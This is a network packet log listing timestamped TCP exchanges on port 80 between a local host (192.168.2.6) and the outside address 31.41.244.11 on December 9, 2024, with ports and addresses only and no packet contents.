Dec 9, 2024 21:09:10.695662975 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.695712090 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.695743084 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.695782900 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.697232962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.697289944 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.697360039 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.697412968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.698856115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.698909998 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.699026108 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.699073076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.700440884 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.700489998 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.700508118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.700557947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.701988935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.702037096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.702088118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.702143908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.703702927 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.703752995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.703897953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.703937054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.705152988 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.705199957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.705275059 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.705316067 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.706782103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.706825972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.706886053 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.706923962 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.708381891 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.708431005 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.708470106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.708512068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.709969044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.710022926 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.710087061 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.710133076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.711591959 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.711647034 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.711703062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.711749077 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.713315010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.713493109 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.713500977 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.713542938 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.714737892 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.714778900 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.714876890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.714943886 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.716420889 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.716468096 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.716496944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.716533899 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.717998028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.718043089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.718158960 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.718198061 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.719523907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.719559908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.719568968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.719602108 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.721142054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.721185923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.721282959 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.721318007 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.722734928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.722780943 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.722852945 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.722899914 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.724299908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.724345922 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.724416971 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.724457979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.725877047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.725919008 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.725930929 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.725972891 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.727524996 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.727566957 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.727690935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.727737904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.827652931 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.827667952 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.827742100 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.828062057 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.828109026 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.828133106 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.828176022 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.829524994 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.829566956 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.829591036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.829636097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.830853939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.830894947 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.830980062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.831024885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.832210064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.832252979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.832323074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.832364082 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.833611012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.833657980 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.833678007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.833722115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.835102081 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.835145950 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.835165024 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.835206032 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.836384058 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.836427927 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.836446047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.836483955 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.837657928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.837699890 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.837740898 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.837780952 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.839039087 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.839075089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.839215994 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.839260101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.840293884 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.840351105 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.840395927 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.840437889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.841590881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.841631889 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.841741085 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.841789007 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.842912912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.842953920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.842992067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.843033075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.844224930 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.844269037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.844424009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.844466925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.845639944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.845681906 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.845745087 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.845788002 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.846920967 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.846961021 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.846980095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.847023964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.848221064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.848263979 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.848356009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.848397970 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.849487066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.849534035 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.849771023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.849819899 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.850769997 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.850810051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.850961924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.851008892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.852134943 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.852176905 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.852272034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.852314949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.853440046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.853487015 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.853549957 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.853593111 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.854588032 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.854633093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.854698896 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.854743004 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.855870962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.855921030 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.855967045 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.856007099 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.857004881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.857068062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.857144117 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.857187986 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.858241081 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.858279943 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.858284950 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.858330965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.859589100 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.859600067 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.859633923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.860694885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.860759020 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.860784054 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.860827923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.861891031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.861938953 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.862195969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.862238884 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.863106966 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.863152981 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.863173962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.863224030 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.864542007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.864584923 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.864650965 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.864694118 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.865509987 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.865554094 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.865576982 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.865586042 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.866710901 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.866751909 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.866818905 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.866867065 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.867908955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.867948055 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.868045092 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.868086100 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.869287014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.869330883 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.869498014 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.869544029 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.871037006 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.871082067 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.871164083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.871206999 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.871882915 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.871926069 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.871992111 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.872045040 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.872845888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.872889996 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.872934103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.872981071 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.874043941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.874092102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.874114037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.874150038 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.875188112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.875232935 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.875308037 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.875353098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.876518011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.876584053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.876656055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.876701117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.877629995 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.877675056 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.877959013 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.877995968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.878865004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.878911972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.878978968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.879018068 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.880047083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.880094051 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.880148888 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.880193949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.881269932 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.881320953 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.881395102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.881438017 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.882494926 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.882527113 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.882535934 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.882561922 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.883704901 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.883752108 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.883774042 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.883812904 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.884980917 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.885029078 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.885094881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.885138035 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.886080980 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.886131048 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.886188984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.886233091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.887331963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.887377024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.887444973 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.887482882 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.888520002 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.888561964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.888642073 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.888683081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.889746904 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.889786959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.889949083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.889995098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.890980005 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.891026020 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.891048908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.891092062 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.892313004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.892354965 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.892522097 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.892565966 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.893425941 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.893476009 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.020788908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.020881891 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.021430016 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.021476984 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.021501064 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.021513939 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.021542072 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.021562099 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.022346020 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.022368908 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.022391081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.022398949 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.023355007 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.023399115 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.023880005 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.023922920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.024426937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.024470091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.024565935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.024609089 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.025504112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.025546074 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.025619984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.025660992 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.026664972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.026715994 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.027271986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.027316093 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.027654886 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.027698040 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.027765989 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.027807951 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.028897047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.028939962 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.028980017 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.029022932 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.029815912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.029859066 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.029930115 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.029972076 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.031008005 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.031022072 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:11.031054974 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:11.031070948 CET	49859	80	192.168.2.6	31.41.244.11
